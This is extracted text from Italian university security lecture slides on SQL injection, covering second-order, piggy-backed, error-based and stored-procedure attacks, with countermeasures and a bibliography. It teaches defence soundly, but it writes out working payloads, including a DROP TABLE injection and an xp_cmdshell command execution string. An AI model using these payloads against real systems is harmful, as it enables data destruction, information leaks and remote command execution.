2 MySQL: una mancata corrispondenza fra i tipi provoca cast
automatici
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
26 / 33
Tecniche d’attacco SQLI
Second order injection
Obiettivo
Far si che un parametro inizialmente innocuo diventi
successivamente pericoloso
username inserito dall’attaccante:
$user = "admin’#";
durante l’inserimento nel database, $user viene sanitizzato
correttamente...
l’utente chiede di cambiare la propria password, ma i dati non sono
correttamente sanitizzati:
$q = "UPDATE utente SET pass=’ " . $_POST[’newPass’] . " ’
WHERE user=’ " . $row[’user’] . " ’ ";
query eseguita dall’applicazione:
$q = "UPDATE utente SET pass=’password’
WHERE user=’admin’#’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
27 / 33
Tecniche d’attacco SQLI
Second order injection
Obiettivo
Far si che un parametro inizialmente innocuo diventi
successivamente pericoloso
username inserito dall’attaccante:
$user = "admin’#";
durante l’inserimento nel database, $user viene sanitizzato
correttamente...
l’utente chiede di cambiare la propria password, ma i dati non sono
correttamente sanitizzati:
$q = "UPDATE utente SET pass=’ " . $_POST[’newPass’] . " ’
WHERE user=’ " . $row[’user’] . " ’ ";
query eseguita dall’applicazione:
$q = "UPDATE utente SET pass=’password’
WHERE user=’admin’#’";
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
27 / 33
Tecniche d’attacco SQLI
Piggy-backed
Obiettivo
Eseguire un numero arbitrario di query, separate da“;”
esempio di query:
$q = "SELECT id FROM utente WHERE user=’" . $user . "’
AND pass=’" . $pass . "’";
parametri passati dall’attaccante:
$user = "’; DROP TABLE utente -- ";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’’;
DROP TABLE utente -- "’ AND pass=’’";
entrambe le query vengono eseguite!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
28 / 33
Tecniche d’attacco SQLI
Piggy-backed
Obiettivo
Eseguire un numero arbitrario di query, separate da“;”
esempio di query:
$q = "SELECT id FROM utente WHERE user=’" . $user . "’
AND pass=’" . $pass . "’";
parametri passati dall’attaccante:
$user = "’; DROP TABLE utente -- ";
query eseguita dall’applicazione:
$q = "SELECT id FROM utente WHERE user=’’;
DROP TABLE utente -- "’ AND pass=’’";
entrambe le query vengono eseguite!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
28 / 33
Tecniche d’attacco SQLI
Query illogica-Illegale
Obiettivo
Recuperare informazioni su tabelle, DBMS, . . .
esempio di attacco:
$user = "’ HAVING 1=1 -- ";
query eseguita dall’applicazione:
SELECT * FROM users WHERE username=’’
HAVING 1=1 -- ’ AND password=’’
possibile risposta del server:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
’users.id’ is invalid in the select list because it is
not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
29 / 33
Tecniche d’attacco SQLI
Query illogica-Illegale
Obiettivo
Recuperare informazioni su tabelle, DBMS, . . .
esempio di attacco:
$user = "’ HAVING 1=1 -- ";
query eseguita dall’applicazione:
SELECT * FROM users WHERE username=’’
HAVING 1=1 -- ’ AND password=’’
possibile risposta del server:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]Column
’users.id’ is invalid in the select list because it is
not contained in an aggregate function and there is no
GROUP BY clause.
/process_login.asp, line 35
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
29 / 33
Tecniche d’attacco SQLI
Stored Procedure
Obiettivo
Esecuzione di comandi remoti (stored procedure)
MSSQL mette a disposizione circa 1000 stored procedure, per
gestione database, creazione tabelle, gestione dati esterni, . . .
xp cmdshell consente l’esecuzione di comandi sulla macchina
esempio:
’; EXEC master..xp_cmdshell ’dir c:’ --
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
30 / 33
SQLI: Contromisure
Sanitizzazione dei dati
affidata ai programmatori
i programmatori spesso si affidano a metodi “automagici”
(e.g., in PHP, magic quotes gpc fa escaping tramite
addslashes())
la sanitizzazione dipende dall’attacco contro cui ci si vuole
proteggere!
sanitizzazione tramite regexp può essere “tricky”
se ci aspetta un numero come parametro, verificare che sia
tale
. . . è possibile costruire stringhe senza utilizzare apici
(AAA ⇔ char(65,65,65))
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
31 / 33
Esercizi
Tutti gli esercizi al seguente url:
http://gamebox.laser.di.unimi.it/sec-web-app1213_part2/
HINT
Gli esercizi sono in ordine crescente di difficoltà...
Partite dai primi!
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
32 / 33
Bibliografia
RFC HTTP
http: // tools. ietf. org/ html/ rfc2109 (HTTP State
Management Mechanism)
OWASP
XSS http: // www. owasp. org/ index. php/ XSS_ Attacks
CSRF http: // www. owasp. org/ index. php/ CSRF
Altro
M. Kolsek Session Fixation Vulnerability in Web-based
Applications
http: // www. acros. si/ papers/ session_ fixation. pdf
Samy virus: http: // namb. la/ popular/
A Classification of SQL Injection Attacks and Countermeasures
http: // www. cc. gatech. edu/ ~ orso/ papers/ halfond. viegas.
orso. ISSSE06. pdf
Advanced SQL Injection In SQL Server Applications
http: // www. nextgenss. com/ papers/ advanced_ sql_
injection. pdf
bypassing Google Chrome Anti-XSS filter
http: // seclists. org/ fulldisclosure/ 2013/ Jan/ 161
http: // blog. securitee. org/ ?p= 37
Srdjan Matic, Aristide Fattori
Protocollo HTTP
31 Maggio 2013
33 / 33